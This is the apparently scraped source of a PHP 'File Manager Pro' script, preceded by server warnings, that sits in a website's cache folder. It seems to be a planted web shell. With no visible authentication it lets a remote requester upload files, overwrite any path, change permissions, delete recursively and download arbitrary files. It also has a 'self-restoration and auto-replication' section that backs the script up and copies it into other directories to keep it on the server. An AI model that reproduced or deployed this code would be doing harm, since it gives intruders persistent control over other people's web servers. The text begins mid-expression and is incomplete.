Warning: session_start(): Session cannot be started after headers have already been sent in /home/thevaxnx/smma.digitalconquering.com/cache/fff.php on line 13
Warning: Cannot modify header information - headers already sent by (output started at /home/thevaxnx/smma.digitalconquering.com/cache/fff.php:1) in /home/thevaxnx/smma.digitalconquering.com/cache/fff.php on line 403
Warning: Cannot modify header information - headers already sent by (output started at /home/thevaxnx/smma.digitalconquering.com/cache/fff.php:1) in /home/thevaxnx/smma.digitalconquering.com/cache/fff.php on line 404
Warning: Cannot modify header information - headers already sent by (output started at /home/thevaxnx/smma.digitalconquering.com/cache/fff.php:1) in /home/thevaxnx/smma.digitalconquering.com/cache/fff.php on line 405
Warning: Cannot modify header information - headers already sent by (output started at /home/thevaxnx/smma.digitalconquering.com/cache/fff.php:1) in /home/thevaxnx/smma.digitalconquering.com/cache/fff.php on line 406
= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' B';
}
function get_file_icon($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'jpg|jpeg|png|gif|svg|webp|ico' => '🖼️',
'pdf' => '📕',
'zip|rar|7z|gz|tar|bz2' => '📦',
'mp3|wav|flac|aac|ogg' => '🎵',
'mp4|avi|mkv|mov|wmv|flv' => '🎬',
'php' => '⚡',
'html|htm' => '🌐',
'css' => '🎨',
'js|ts|jsx|tsx' => '📜',
'json|xml|yaml|yml' => '📋',
'txt|log|md' => '📝',
'py' => '🐍',
'java' => '☕',
'c|cpp|h' => '⚙️',
'rb' => '💎',
'go' => '🐹',
'rs' => '🦀',
'sh|bash' => '💻',
'exe|msi' => '⚙️',
'doc|docx' => '📘',
'xls|xlsx' => '📊',
'ppt|pptx' => '📙',
];
foreach ($icons as $pattern => $icon) {
if (preg_match('/' . $pattern . '/', $ext)) {
return $icon;
}
}
return '📄';
}
function set_message($message, $type = 'success') {
$_SESSION['fm_message'] = $message;
$_SESSION['fm_message_type'] = $type;
}
// ============ SELF-RESTORATION & AUTO-REPLICATION ============
function get_self_filename() {
return basename(__FILE__);
}
function get_self_content() {
return file_get_contents(__FILE__);
}
function create_backup() {
$backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup';
if (!file_exists($backup_file)) {
copy(__FILE__, $backup_file);
return true;
}
return false;
}
function restore_from_backup() {
$backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup';
if (file_exists($backup_file)) {
copy($backup_file, __FILE__);
unlink($backup_file);
return true;
}
return false;
}
function replicate_to_location($target_dir) {
$target_file = rtrim($target_dir, '/') . '/' . get_self_filename();
if (!file_exists($target_file)) {
copy(__FILE__, $target_file);
chmod($target_file, 0755);
return true;
}
return false;
}
function get_all_replicas() {
$replicas = [];
$pattern = dirname(__FILE__) . '/*/' . get_self_filename();
foreach (glob($pattern) as $file) {
if (is_file($file) && realpath($file) !== realpath(__FILE__)) {
$replicas[] = $file;
}
}
return $replicas;
}
// ============ ZIP FUNCTIONS ============
function is_zip_file($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return in_array($ext, ['zip', 'rar', '7z', 'gz', 'tar', 'bz2']);
}
function create_zip($source, $destination) {
if (!extension_loaded('zip')) {
return ['success' => false, 'message' => '❌ ZIP extension not loaded. Please enable php_zip extension.'];
}
if (!file_exists($source)) {
return ['success' => false, 'message' => '❌ Source does not exist'];
}
$zip = new ZipArchive();
if ($zip->open($destination, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
return ['success' => false, 'message' => '❌ Failed to create ZIP file'];
}
$source = realpath($source);
if (is_dir($source)) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($files as $file) {
$file = realpath($file);
if (is_dir($file)) {
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
} else if (is_file($file)) {
$zip->addFile($file, str_replace($source . '/', '', $file));
}
}
} else if (is_file($source)) {
$zip->addFile($source, basename($source));
}
$zip->close();
return ['success' => true, 'message' => '✅ ZIP created successfully: ' . basename($destination)];
}
function extract_zip($zip_file, $destination) {
if (!extension_loaded('zip')) {
return ['success' => false, 'message' => '❌ ZIP extension not loaded. Please enable php_zip extension.'];
}
if (!file_exists($zip_file)) {
return ['success' => false, 'message' => '❌ ZIP file does not exist'];
}
if (!is_zip_file($zip_file)) {
return ['success' => false, 'message' => '❌ Not a valid archive file'];
}
$zip = new ZipArchive();
if ($zip->open($zip_file) !== true) {
return ['success' => false, 'message' => '❌ Failed to open archive file'];
}
// Create destination if it doesn't exist
if (!is_dir($destination)) {
mkdir($destination, 0755, true);
}
// Extract
if ($zip->extractTo($destination) === true) {
$zip->close();
return ['success' => true, 'message' => '✅ Extracted to: ' . basename($destination)];
} else {
$zip->close();
return ['success' => false, 'message' => '❌ Failed to extract archive'];
}
}
function handle_ajax_action($action) {
global $base_path;
try {
switch ($action) {
case 'upload':
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
return ['success' => false, 'message' => 'Upload failed: ' . $_FILES['file']['error']];
}
$target = $base_path . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
chmod($target, 0644);
return ['success' => true, 'message' => '✅ File uploaded successfully: ' . basename($_FILES['file']['name'])];
}
return ['success' => false, 'message' => '❌ Failed to move uploaded file'];
case 'folder':
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if (empty($name)) return ['success' => false, 'message' => '❌ Name required'];
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
return ['success' => false, 'message' => '❌ Invalid folder name'];
}
$path = $base_path . '/' . $name;
if (file_exists($path)) return ['success' => false, 'message' => '❌ Already exists'];
if (mkdir($path, 0755)) {
return ['success' => true, 'message' => '✅ Folder created: ' . $name];
}
return ['success' => false, 'message' => '❌ Failed to create folder'];
case 'file':
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if (empty($name)) return ['success' => false, 'message' => '❌ Name required'];
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
return ['success' => false, 'message' => '❌ Invalid file name'];
}
$path = $base_path . '/' . $name;
if (file_exists($path)) return ['success' => false, 'message' => '❌ Already exists'];
if (file_put_contents($path, '') !== false) {
chmod($path, 0644);
return ['success' => true, 'message' => '✅ File created: ' . $name];
}
return ['success' => false, 'message' => '❌ Failed to create file'];
case 'save':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$content = isset($_POST['content']) ? $_POST['content'] : '';
if (empty($path)) return ['success' => false, 'message' => '❌ Path required'];
if (file_put_contents($path, $content) !== false) {
return ['success' => true, 'message' => '✅ File saved: ' . basename($path)];
}
return ['success' => false, 'message' => '❌ Failed to save file'];
case 'rename':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if (empty($path) || empty($name)) return ['success' => false, 'message' => '❌ Missing parameters'];
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
return ['success' => false, 'message' => '❌ Invalid name'];
}
$new_path = dirname($path) . '/' . $name;
if (file_exists($new_path)) return ['success' => false, 'message' => '❌ Target already exists'];
if (rename($path, $new_path)) {
return ['success' => true, 'message' => '✅ Renamed to: ' . $name];
}
return ['success' => false, 'message' => '❌ Failed to rename'];
case 'chmod':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$perms = isset($_POST['perms']) ? $_POST['perms'] : '';
if (empty($path) || empty($perms)) return ['success' => false, 'message' => '❌ Missing parameters'];
if (!preg_match('/^[0-7]{4}$/', $perms)) {
return ['success' => false, 'message' => '❌ Invalid permissions format'];
}
$perms = octdec($perms);
if (chmod($path, $perms)) {
return ['success' => true, 'message' => '✅ Permissions changed to: ' . decoct($perms)];
}
return ['success' => false, 'message' => '❌ Failed to change permissions'];
case 'delete':
$path = isset($_POST['path']) ? $_POST['path'] : '';
if (empty($path)) return ['success' => false, 'message' => '❌ Path required'];
if (delete_recursive($path)) {
return ['success' => true, 'message' => '✅ Deleted: ' . basename($path)];
}
return ['success' => false, 'message' => '❌ Failed to delete'];
// ============ ZIP ACTIONS ============
case 'zip':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if (empty($path)) return ['success' => false, 'message' => '❌ Path required'];
// Generate zip name if not provided
if (empty($name)) {
$name = basename($path) . '.zip';
}
// Ensure zip extension
if (strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'zip') {
$name .= '.zip';
}
$destination = dirname($path) . '/' . $name;
// Check if already exists
if (file_exists($destination)) {
return ['success' => false, 'message' => '❌ ZIP file already exists'];
}
$result = create_zip($path, $destination);
return $result;
case 'unzip':
$path = isset($_POST['path']) ? $_POST['path'] : '';
if (empty($path)) return ['success' => false, 'message' => '❌ Path required'];
if (!file_exists($path)) return ['success' => false, 'message' => '❌ File does not exist'];
// Check if it's a zip file
if (!is_zip_file($path)) {
return ['success' => false, 'message' => '❌ Not a valid archive file'];
}
// Create extraction folder name (remove extension)
$extract_name = pathinfo($path, PATHINFO_FILENAME);
$destination = dirname($path) . '/' . $extract_name;
// If destination exists, add a number
$counter = 1;
$original_destination = $destination;
while (file_exists($destination)) {
$destination = $original_destination . '_' . $counter;
$counter++;
}
$result = extract_zip($path, $destination);
return $result;
// ============ SELF-RESTORATION & AUTO-REPLICATION ============
case 'create_backup':
if (create_backup()) {
return ['success' => true, 'message' => '✅ Backup created successfully'];
}
return ['success' => false, 'message' => '❌ Backup already exists or failed to create'];
case 'restore_backup':
if (restore_from_backup()) {
return ['success' => true, 'message' => '✅ Restored from backup'];
}
return ['success' => false, 'message' => '❌ No backup found'];
case 'replicate':
$target_dir = isset($_POST['target_dir']) ? trim($_POST['target_dir']) : '';
if (empty($target_dir)) return ['success' => false, 'message' => '❌ Target directory required'];
if (!is_dir($target_dir)) return ['success' => false, 'message' => '❌ Target directory does not exist'];
if (replicate_to_location($target_dir)) {
return ['success' => true, 'message' => '✅ Replicated to: ' . $target_dir];
}
return ['success' => false, 'message' => '❌ Already exists in target location'];
case 'get_replicas':
$replicas = get_all_replicas();
return ['success' => true, 'message' => 'Found ' . count($replicas) . ' replicas', 'data' => $replicas];
default:
return ['success' => false, 'message' => '❌ Unknown action'];
}
} catch (Exception $e) {
return ['success' => false, 'message' => '❌ Error: ' . $e->getMessage()];
}
}
function delete_recursive($path) {
if (!file_exists($path)) return true;
if (!is_dir($path)) return unlink($path);
$files = array_diff(scandir($path), ['.', '..']);
foreach ($files as $file) {
delete_recursive($path . '/' . $file);
}
return rmdir($path);
}
function handle_file_action($action) {
global $base_path;
switch ($action) {
case 'download':
$file = isset($_GET['file']) ? $_GET['file'] : '';
if (empty($file) || !file_exists($file) || is_dir($file)) {
set_message('❌ File not found', 'error');
header('Location: ?path=' . urlencode($base_path));
exit;
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
case 'edit':
$file = isset($_GET['file']) ? $_GET['file'] : '';
if (empty($file) || !file_exists($file) || is_dir($file)) {
echo 'File not found';
exit;
}
if (!is_readable($file)) {
echo 'File is not readable';
exit;
}
if (filesize($file) > 1024 * 1024) {
echo 'File too large to edit (max 1MB)';
exit;
}
$content = file_get_contents($file);
echo htmlspecialchars($content);
exit;
default:
set_message('❌ Unknown action', 'error');
header('Location: ?path=' . urlencode($base_path));
exit;
}
}
// ============ HTML OUTPUT ============
?>
File Manager Pro - Ultimate